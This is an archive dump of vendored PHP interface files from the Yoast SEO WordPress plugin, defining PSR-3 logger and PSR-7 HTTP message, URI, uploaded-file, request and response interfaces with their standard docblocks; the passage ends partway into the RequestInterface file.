wordpress-seo/vendor_prefixed/psr/log/Psr/Log/LoggerAwareInterface.php000064400000000522147510273100022145 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * Describes a logger-aware instance.
 */
interface LoggerAwareInterface
{
    /**
     * Sets a logger instance on the object.
     *
     * @param LoggerInterface $logger
     *
     * @return void
     */
    public function setLogger(\YoastSEO_Vendor\Psr\Log\LoggerInterface $logger);
}
wordpress-seo/vendor_prefixed/psr/log/Psr/Log/AbstractLogger.php000064400000006412147510273100021034 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Log;

/**
 * This is a simple Logger implementation that other Loggers can inherit from.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
abstract class AbstractLogger implements \YoastSEO_Vendor\Psr\Log\LoggerInterface
{
    /**
     * System is unusable.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function emergency($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::EMERGENCY, $message, $context);
    }
    /**
     * Action must be taken immediately.
     *
     * Example: Entire website down, database unavailable, etc. This should
     * trigger the SMS alerts and wake you up.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function alert($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ALERT, $message, $context);
    }
    /**
     * Critical conditions.
     *
     * Example: Application component unavailable, unexpected exception.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function critical($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::CRITICAL, $message, $context);
    }
    /**
     * Runtime errors that do not require immediate action but should typically
     * be logged and monitored.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function error($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ERROR, $message, $context);
    }
    /**
     * Exceptional occurrences that are not errors.
     *
     * Example: Use of deprecated APIs, poor use of an API, undesirable things
     * that are not necessarily wrong.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function warning($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::WARNING, $message, $context);
    }
    /**
     * Normal but significant events.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function notice($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::NOTICE, $message, $context);
    }
    /**
     * Interesting events.
     *
     * Example: User logs in, SQL logs.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function info($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::INFO, $message, $context);
    }
    /**
     * Detailed debug information.
     *
     * @param string  $message
     * @param mixed[] $context
     *
     * @return void
     */
    public function debug($message, array $context = array())
    {
        $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::DEBUG, $message, $context);
    }
}
wordpress-seo/vendor_prefixed/psr/http-message/src/MessageInterface.php000064400000016275147510273100022470 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * HTTP messages consist of requests from a client to a server and responses
 * from a server to a client. This interface defines the methods common to
 * each.
 *
 * Messages are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 *
 * @link http://www.ietf.org/rfc/rfc7230.txt
 * @link http://www.ietf.org/rfc/rfc7231.txt
 */
interface MessageInterface
{
    /**
     * Retrieves the HTTP protocol version as a string.
     *
     * The string MUST contain only the HTTP version number (e.g., "1.1", "1.0").
     *
     * @return string HTTP protocol version.
     */
    public function getProtocolVersion() : string;
    /**
     * Return an instance with the specified HTTP protocol version.
     *
     * The version string MUST contain only the HTTP version number (e.g.,
     * "1.1", "1.0").
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new protocol version.
     *
     * @param string $version HTTP protocol version
     * @return static
     */
    public function withProtocolVersion(string $version) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
    /**
     * Retrieves all message header values.
     *
     * The keys represent the header name as it will be sent over the wire, and
     * each value is an array of strings associated with the header.
     *
     *     // Represent the headers as a string
     *     foreach ($message->getHeaders() as $name => $values) {
     *         echo $name . ": " . implode(", ", $values);
     *     }
     *
     *     // Emit headers iteratively:
     *     foreach ($message->getHeaders() as $name => $values) {
     *         foreach ($values as $value) {
     *             header(sprintf('%s: %s', $name, $value), false);
     *         }
     *     }
     *
     * While header names are not case-sensitive, getHeaders() will preserve the
     * exact case in which headers were originally specified.
     *
     * @return string[][] Returns an associative array of the message's headers. Each
     *     key MUST be a header name, and each value MUST be an array of strings
     *     for that header.
     */
    public function getHeaders() : array;
    /**
     * Checks if a header exists by the given case-insensitive name.
     *
     * @param string $name Case-insensitive header field name.
     * @return bool Returns true if any header names match the given header
     *     name using a case-insensitive string comparison. Returns false if
     *     no matching header name is found in the message.
     */
    public function hasHeader(string $name) : bool;
    /**
     * Retrieves a message header value by the given case-insensitive name.
     *
     * This method returns an array of all the header values of the given
     * case-insensitive header name.
     *
     * If the header does not appear in the message, this method MUST return an
     * empty array.
     *
     * @param string $name Case-insensitive header field name.
     * @return string[] An array of string values as provided for the given
     *    header. If the header does not appear in the message, this method MUST
     *    return an empty array.
     */
    public function getHeader(string $name) : array;
    /**
     * Retrieves a comma-separated string of the values for a single header.
     *
     * This method returns all of the header values of the given
     * case-insensitive header name as a string concatenated together using
     * a comma.
     *
     * NOTE: Not all header values may be appropriately represented using
     * comma concatenation. For such headers, use getHeader() instead
     * and supply your own delimiter when concatenating.
     *
     * If the header does not appear in the message, this method MUST return
     * an empty string.
     *
     * @param string $name Case-insensitive header field name.
     * @return string A string of values as provided for the given header
     *    concatenated together using a comma. If the header does not appear in
     *    the message, this method MUST return an empty string.
     */
    public function getHeaderLine(string $name) : string;
    /**
     * Return an instance with the provided value replacing the specified header.
     *
     * While header names are case-insensitive, the casing of the header will
     * be preserved by this function, and returned from getHeaders().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new and/or updated header and value.
     *
     * @param string $name Case-insensitive header field name.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withHeader(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
    /**
     * Return an instance with the specified header appended with the given value.
     *
     * Existing values for the specified header will be maintained. The new
     * value(s) will be appended to the existing list. If the header did not
     * exist previously, it will be added.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * new header and/or value.
     *
     * @param string $name Case-insensitive header field name to add.
     * @param string|string[] $value Header value(s).
     * @return static
     * @throws \InvalidArgumentException for invalid header names or values.
     */
    public function withAddedHeader(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
    /**
     * Return an instance without the specified header.
     *
     * Header resolution MUST be done without case-sensitivity.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the named header.
     *
     * @param string $name Case-insensitive header field name to remove.
     * @return static
     */
    public function withoutHeader(string $name) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
    /**
     * Gets the body of the message.
     *
     * @return StreamInterface Returns the body as a stream.
     */
    public function getBody() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
    /**
     * Return an instance with the specified message body.
     *
     * The body MUST be a StreamInterface object.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return a new instance that has the
     * new body stream.
     *
     * @param StreamInterface $body Body.
     * @return static
     * @throws \InvalidArgumentException When the body is not valid.
     */
    public function withBody(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $body) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/UriInterface.php000064400000031436147510273100021637 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Value object representing a URI.
 *
 * This interface is meant to represent URIs according to RFC 3986 and to
 * provide methods for most common operations. Additional functionality for
 * working with URIs can be provided on top of the interface or externally.
 * Its primary use is for HTTP requests, but may also be used in other
 * contexts.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 *
 * Typically the Host header will be also be present in the request message.
 * For server-side requests, the scheme will typically be discoverable in the
 * server parameters.
 *
 * @link http://tools.ietf.org/html/rfc3986 (the URI specification)
 */
interface UriInterface
{
    /**
     * Retrieve the scheme component of the URI.
     *
     * If no scheme is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.1.
     *
     * The trailing ":" character is not part of the scheme and MUST NOT be
     * added.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.1
     * @return string The URI scheme.
     */
    public function getScheme() : string;
    /**
     * Retrieve the authority component of the URI.
     *
     * If no authority information is present, this method MUST return an empty
     * string.
     *
     * The authority syntax of the URI is:
     *
     * <pre>
     * [user-info@]host[:port]
     * </pre>
     *
     * If the port component is not set or is the standard port for the current
     * scheme, it SHOULD NOT be included.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-3.2
     * @return string The URI authority, in "[user-info@]host[:port]" format.
     */
    public function getAuthority() : string;
    /**
     * Retrieve the user information component of the URI.
     *
     * If no user information is present, this method MUST return an empty
     * string.
     *
     * If a user is present in the URI, this will return that value;
     * additionally, if the password is also present, it will be appended to the
     * user value, with a colon (":") separating the values.
     *
     * The trailing "@" character is not part of the user information and MUST
     * NOT be added.
     *
     * @return string The URI user information, in "username[:password]" format.
     */
    public function getUserInfo() : string;
    /**
     * Retrieve the host component of the URI.
     *
     * If no host is present, this method MUST return an empty string.
     *
     * The value returned MUST be normalized to lowercase, per RFC 3986
     * Section 3.2.2.
     *
     * @see http://tools.ietf.org/html/rfc3986#section-3.2.2
     * @return string The URI host.
     */
    public function getHost() : string;
    /**
     * Retrieve the port component of the URI.
     *
     * If a port is present, and it is non-standard for the current scheme,
     * this method MUST return it as an integer. If the port is the standard port
     * used with the current scheme, this method SHOULD return null.
     *
     * If no port is present, and no scheme is present, this method MUST return
     * a null value.
     *
     * If no port is present, but a scheme is present, this method MAY return
     * the standard port for that scheme, but SHOULD return null.
     *
     * @return null|int The URI port.
     */
    public function getPort() : ?int;
    /**
     * Retrieve the path component of the URI.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * Normally, the empty path "" and absolute path "/" are considered equal as
     * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically
     * do this normalization because in contexts with a trimmed base path, e.g.
     * the front controller, this difference becomes significant. It's the task
     * of the user to handle both "" and "/".
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.3.
     *
     * As an example, if the value should include a slash ("/") not intended as
     * delimiter between path segments, that value MUST be passed in encoded
     * form (e.g., "%2F") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.3
     * @return string The URI path.
     */
    public function getPath() : string;
    /**
     * Retrieve the query string of the URI.
     *
     * If no query string is present, this method MUST return an empty string.
     *
     * The leading "?" character is not part of the query and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.4.
     *
     * As an example, if a value in a key/value pair of the query string should
     * include an ampersand ("&") not intended as a delimiter between values,
     * that value MUST be passed in encoded form (e.g., "%26") to the instance.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.4
     * @return string The URI query string.
     */
    public function getQuery() : string;
    /**
     * Retrieve the fragment component of the URI.
     *
     * If no fragment is present, this method MUST return an empty string.
     *
     * The leading "#" character is not part of the fragment and MUST NOT be
     * added.
     *
     * The value returned MUST be percent-encoded, but MUST NOT double-encode
     * any characters. To determine what characters to encode, please refer to
     * RFC 3986, Sections 2 and 3.5.
     *
     * @see https://tools.ietf.org/html/rfc3986#section-2
     * @see https://tools.ietf.org/html/rfc3986#section-3.5
     * @return string The URI fragment.
     */
    public function getFragment() : string;
    /**
     * Return an instance with the specified scheme.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified scheme.
     *
     * Implementations MUST support the schemes "http" and "https" case
     * insensitively, and MAY accommodate other schemes if required.
     *
     * An empty scheme is equivalent to removing the scheme.
     *
     * @param string $scheme The scheme to use with the new instance.
     * @return static A new instance with the specified scheme.
     * @throws \InvalidArgumentException for invalid or unsupported schemes.
     */
    public function withScheme(string $scheme) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified user information.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified user information.
     *
     * Password is optional, but the user information MUST include the
     * user; an empty string for the user is equivalent to removing user
     * information.
     *
     * @param string $user The user name to use for authority.
     * @param null|string $password The password associated with $user.
     * @return static A new instance with the specified user information.
     */
    public function withUserInfo(string $user, ?string $password = null) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified host.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified host.
     *
     * An empty host value is equivalent to removing the host.
     *
     * @param string $host The hostname to use with the new instance.
     * @return static A new instance with the specified host.
     * @throws \InvalidArgumentException for invalid hostnames.
     */
    public function withHost(string $host) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified port.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified port.
     *
     * Implementations MUST raise an exception for ports outside the
     * established TCP and UDP port ranges.
     *
     * A null value provided for the port is equivalent to removing the port
     * information.
     *
     * @param null|int $port The port to use with the new instance; a null value
     *     removes the port information.
     * @return static A new instance with the specified port.
     * @throws \InvalidArgumentException for invalid ports.
     */
    public function withPort(?int $port) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified path.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified path.
     *
     * The path can either be empty or absolute (starting with a slash) or
     * rootless (not starting with a slash). Implementations MUST support all
     * three syntaxes.
     *
     * If the path is intended to be domain-relative rather than path relative then
     * it must begin with a slash ("/"). Paths not starting with a slash ("/")
     * are assumed to be relative to some base path known to the application or
     * consumer.
     *
     * Users can provide both encoded and decoded path characters.
     * Implementations ensure the correct encoding as outlined in getPath().
     *
     * @param string $path The path to use with the new instance.
     * @return static A new instance with the specified path.
     * @throws \InvalidArgumentException for invalid paths.
     */
    public function withPath(string $path) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified query string.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified query string.
     *
     * Users can provide both encoded and decoded query characters.
     * Implementations ensure the correct encoding as outlined in getQuery().
     *
     * An empty query string value is equivalent to removing the query string.
     *
     * @param string $query The query string to use with the new instance.
     * @return static A new instance with the specified query string.
     * @throws \InvalidArgumentException for invalid query strings.
     */
    public function withQuery(string $query) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return an instance with the specified URI fragment.
     *
     * This method MUST retain the state of the current instance, and return
     * an instance that contains the specified URI fragment.
     *
     * Users can provide both encoded and decoded fragment characters.
     * Implementations ensure the correct encoding as outlined in getFragment().
     *
     * An empty fragment value is equivalent to removing the fragment.
     *
     * @param string $fragment The fragment to use with the new instance.
     * @return static A new instance with the specified fragment.
     */
    public function withFragment(string $fragment) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface;
    /**
     * Return the string representation as a URI reference.
     *
     * Depending on which components of the URI are present, the resulting
     * string is either a full URI or relative reference according to RFC 3986,
     * Section 4.1. The method concatenates the various components of the URI,
     * using the appropriate delimiters:
     *
     * - If a scheme is present, it MUST be suffixed by ":".
     * - If an authority is present, it MUST be prefixed by "//".
     * - The path can be concatenated without delimiters. But there are two
     *   cases where the path has to be adjusted to make the URI reference
     *   valid as PHP does not allow to throw an exception in __toString():
     *     - If the path is rootless and an authority is present, the path MUST
     *       be prefixed by "/".
     *     - If the path is starting with more than one "/" and no authority is
     *       present, the starting slashes MUST be reduced to one.
     * - If a query is present, it MUST be prefixed by "?".
     * - If a fragment is present, it MUST be prefixed by "#".
     *
     * @see http://tools.ietf.org/html/rfc3986#section-4.1
     * @return string
     */
    public function __toString() : string;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/UploadedFileInterface.php000064400000011257147510273100023434 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Value object representing a file uploaded through an HTTP request.
 *
 * Instances of this interface are considered immutable; all methods that
 * might change state MUST be implemented such that they retain the internal
 * state of the current instance and return an instance that contains the
 * changed state.
 */
interface UploadedFileInterface
{
    /**
     * Retrieve a stream representing the uploaded file.
     *
     * This method MUST return a StreamInterface instance, representing the
     * uploaded file. The purpose of this method is to allow utilizing native PHP
     * stream functionality to manipulate the file upload, such as
     * stream_copy_to_stream() (though the result will need to be decorated in a
     * native PHP stream wrapper to work with such functions).
     *
     * If the moveTo() method has been called previously, this method MUST raise
     * an exception.
     *
     * @return StreamInterface Stream representation of the uploaded file.
     * @throws \RuntimeException in cases when no stream is available or can be
     *     created.
     */
    public function getStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
    /**
     * Move the uploaded file to a new location.
     *
     * Use this method as an alternative to move_uploaded_file(). This method is
     * guaranteed to work in both SAPI and non-SAPI environments.
     * Implementations must determine which environment they are in, and use the
     * appropriate method (move_uploaded_file(), rename(), or a stream
     * operation) to perform the operation.
     *
     * $targetPath may be an absolute path, or a relative path. If it is a
     * relative path, resolution should be the same as used by PHP's rename()
     * function.
     *
     * The original file or stream MUST be removed on completion.
     *
     * If this method is called more than once, any subsequent calls MUST raise
     * an exception.
     *
     * When used in an SAPI environment where $_FILES is populated, when writing
     * files via moveTo(), is_uploaded_file() and move_uploaded_file() SHOULD be
     * used to ensure permissions and upload status are verified correctly.
     *
     * If you wish to move to a stream, use getStream(), as SAPI operations
     * cannot guarantee writing to stream destinations.
     *
     * @see http://php.net/is_uploaded_file
     * @see http://php.net/move_uploaded_file
     * @param string $targetPath Path to which to move the uploaded file.
     * @throws \InvalidArgumentException if the $targetPath specified is invalid.
     * @throws \RuntimeException on any error during the move operation, or on
     *     the second or subsequent call to the method.
     */
    public function moveTo(string $targetPath) : void;
    /**
     * Retrieve the file size.
     *
     * Implementations SHOULD return the value stored in the "size" key of
     * the file in the $_FILES array if available, as PHP calculates this based
     * on the actual size transmitted.
     *
     * @return int|null The file size in bytes or null if unknown.
     */
    public function getSize() : ?int;
    /**
     * Retrieve the error associated with the uploaded file.
     *
     * The return value MUST be one of PHP's UPLOAD_ERR_XXX constants.
     *
     * If the file was uploaded successfully, this method MUST return
     * UPLOAD_ERR_OK.
     *
     * Implementations SHOULD return the value stored in the "error" key of
     * the file in the $_FILES array.
     *
     * @see http://php.net/manual/en/features.file-upload.errors.php
     * @return int One of PHP's UPLOAD_ERR_XXX constants.
     */
    public function getError() : int;
    /**
     * Retrieve the filename sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious filename with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "name" key of
     * the file in the $_FILES array.
     *
     * @return string|null The filename sent by the client or null if none
     *     was provided.
     */
    public function getClientFilename() : ?string;
    /**
     * Retrieve the media type sent by the client.
     *
     * Do not trust the value returned by this method. A client could send
     * a malicious media type with the intention to corrupt or hack your
     * application.
     *
     * Implementations SHOULD return the value stored in the "type" key of
     * the file in the $_FILES array.
     *
     * @return string|null The media type sent by the client or null if none
     *     was provided.
     */
    public function getClientMediaType() : ?string;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/ServerRequestInterface.php000064400000024467147510273100023725 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Representation of an incoming, server-side HTTP request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * Additionally, it encapsulates all data as it has arrived to the
 * application from the CGI and/or PHP environment, including:
 *
 * - The values represented in $_SERVER.
 * - Any cookies provided (generally via $_COOKIE)
 * - Query string arguments (generally via $_GET, or as parsed via parse_str())
 * - Upload files, if any (as represented by $_FILES)
 * - Deserialized body parameters (generally from $_POST)
 *
 * $_SERVER values MUST be treated as immutable, as they represent application
 * state at the time of request; as such, no methods are provided to allow
 * modification of those values. The other values provide such methods, as they
 * can be restored from $_SERVER or the request body, and may need treatment
 * during the application (e.g., body parameters may be deserialized based on
 * content type).
 *
 * Additionally, this interface recognizes the utility of introspecting a
 * request to derive and match additional parameters (e.g., via URI path
 * matching, decrypting cookie values, deserializing non-form-encoded body
 * content, matching authorization headers to users, etc). These parameters
 * are stored in an "attributes" property.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ServerRequestInterface extends \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
{
    /**
     * Retrieve server parameters.
     *
     * Retrieves data related to the incoming request environment,
     * typically derived from PHP's $_SERVER superglobal. The data IS NOT
     * REQUIRED to originate from $_SERVER.
     *
     * @return array
     */
    public function getServerParams() : array;
    /**
     * Retrieve cookies.
     *
     * Retrieves cookies sent by the client to the server.
     *
     * The data MUST be compatible with the structure of the $_COOKIE
     * superglobal.
     *
     * @return array
     */
    public function getCookieParams() : array;
    /**
     * Return an instance with the specified cookies.
     *
     * The data IS NOT REQUIRED to come from the $_COOKIE superglobal, but MUST
     * be compatible with the structure of $_COOKIE. Typically, this data will
     * be injected at instantiation.
     *
     * This method MUST NOT update the related Cookie header of the request
     * instance, nor related values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated cookie values.
     *
     * @param array $cookies Array of key/value pairs representing cookies.
     * @return static
     */
    public function withCookieParams(array $cookies) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
    /**
     * Retrieve query string arguments.
     *
     * Retrieves the deserialized query string arguments, if any.
     *
     * Note: the query params might not be in sync with the URI or server
     * params. If you need to ensure you are only getting the original
     * values, you may need to parse the query string from `getUri()->getQuery()`
     * or from the `QUERY_STRING` server param.
     *
     * @return array
     */
    public function getQueryParams() : array;
    /**
     * Return an instance with the specified query string arguments.
     *
     * These values SHOULD remain immutable over the course of the incoming
     * request. They MAY be injected during instantiation, such as from PHP's
     * $_GET superglobal, or MAY be derived from some other value such as the
     * URI. In cases where the arguments are parsed from the URI, the data
     * MUST be compatible with what PHP's parse_str() would return for
     * purposes of how duplicate query parameters are handled, and how nested
     * sets are handled.
     *
     * Setting query string arguments MUST NOT change the URI stored by the
     * request, nor the values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated query string arguments.
     *
     * @param array $query Array of query string arguments, typically from
     *     $_GET.
     * @return static
     */
    public function withQueryParams(array $query) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
    /**
     * Retrieve normalized file upload data.
     *
     * This method returns upload metadata in a normalized tree, with each leaf
     * an instance of Psr\Http\Message\UploadedFileInterface.
     *
     * These values MAY be prepared from $_FILES or the message body during
     * instantiation, or MAY be injected via withUploadedFiles().
     *
     * @return array An array tree of UploadedFileInterface instances; an empty
     *     array MUST be returned if no data is present.
     */
    public function getUploadedFiles() : array;
    /**
     * Create a new instance with the specified uploaded files.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param array $uploadedFiles An array tree of UploadedFileInterface instances.
     * @return static
     * @throws \InvalidArgumentException if an invalid structure is provided.
     */
    public function withUploadedFiles(array $uploadedFiles) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
    /**
     * Retrieve any parameters provided in the request body.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, this method MUST
     * return the contents of $_POST.
     *
     * Otherwise, this method may return any results of deserializing
     * the request body content; as parsing returns structured content, the
     * potential types MUST be arrays or objects only. A null value indicates
     * the absence of body content.
     *
     * @return null|array|object The deserialized body parameters, if any.
     *     These will typically be an array or object.
     */
    public function getParsedBody();
    /**
     * Return an instance with the specified body parameters.
     *
     * These MAY be injected during instantiation.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, use this method
     * ONLY to inject the contents of $_POST.
     *
     * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of
     * deserializing the request body content. Deserialization/parsing returns
     * structured data, and, as such, this method ONLY accepts arrays or objects,
     * or a null value if nothing was available to parse.
     *
     * As an example, if content negotiation determines that the request data
     * is a JSON payload, this method could be used to create a request
     * instance with the deserialized parameters.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param null|array|object $data The deserialized body data. This will
     *     typically be in an array or object.
     * @return static
     * @throws \InvalidArgumentException if an unsupported argument type is
     *     provided.
     */
    public function withParsedBody($data) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
    /**
     * Retrieve attributes derived from the request.
     *
     * The request "attributes" may be used to allow injection of any
     * parameters derived from the request: e.g., the results of path
     * match operations; the results of decrypting cookies; the results of
     * deserializing non-form-encoded message bodies; etc. Attributes
     * will be application and request specific, and CAN be mutable.
     *
     * @return array Attributes derived from the request.
     */
    public function getAttributes() : array;
    /**
     * Retrieve a single derived request attribute.
     *
     * Retrieves a single derived request attribute as described in
     * getAttributes(). If the attribute has not been previously set, returns
     * the default value as provided.
     *
     * This method obviates the need for a hasAttribute() method, as it allows
     * specifying a default value to return if the attribute is not found.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $default Default value to return if the attribute does not exist.
     * @return mixed
     */
    public function getAttribute(string $name, $default = null);
    /**
     * Return an instance with the specified derived request attribute.
     *
     * This method allows setting a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @param mixed $value The value of the attribute.
     * @return static
     */
    public function withAttribute(string $name, $value) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
    /**
     * Return an instance that removes the specified derived request attribute.
     *
     * This method allows removing a single derived request attribute as
     * described in getAttributes().
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that removes
     * the attribute.
     *
     * @see getAttributes()
     * @param string $name The attribute name.
     * @return static
     */
    public function withoutAttribute(string $name) : \YoastSEO_Vendor\Psr\Http\Message\ServerRequestInterface;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/ResponseInterface.php000064400000005237147510273100022676 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Representation of an outgoing, server-side response.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - Status code and reason phrase
 * - Headers
 * - Message body
 *
 * Responses are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ResponseInterface extends \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
{
    /**
     * Gets the response status code.
     *
     * The status code is a 3-digit integer result code of the server's attempt
     * to understand and satisfy the request.
     *
     * @return int Status code.
     */
    public function getStatusCode() : int;
    /**
     * Return an instance with the specified status code and, optionally, reason phrase.
     *
     * If no reason phrase is specified, implementations MAY choose to default
     * to the RFC 7231 or IANA recommended reason phrase for the response's
     * status code.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated status and reason phrase.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @param int $code The 3-digit integer result code to set.
     * @param string $reasonPhrase The reason phrase to use with the
     *     provided status code; if none is provided, implementations MAY
     *     use the defaults as suggested in the HTTP specification.
     * @return static
     * @throws \InvalidArgumentException For invalid status code arguments.
     */
    public function withStatus(int $code, string $reasonPhrase = '') : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
    /**
     * Gets the response reason phrase associated with the status code.
     *
     * Because a reason phrase is not a required element in a response
     * status line, the reason phrase value MAY be null. Implementations MAY
     * choose to return the default RFC 7231 recommended reason phrase (or those
     * listed in the IANA HTTP Status Code Registry) for the response's
     * status code.
     *
     * @link http://tools.ietf.org/html/rfc7231#section-6
     * @link http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
     * @return string Reason phrase; must return an empty string if none present.
     */
    public function getReasonPhrase() : string;
}
wordpress-seo/vendor_prefixed/psr/http-message/src/RequestInterface.php000064400000012024147510273100022520 0ustar00<?php

namespace YoastSEO_Vendor\Psr\Http\Message;

/**
 * Representation of an outgoing, client-side request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * During construction, implementations MUST attempt to set the Host header from
 * a provided URI if no Host header is provided.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
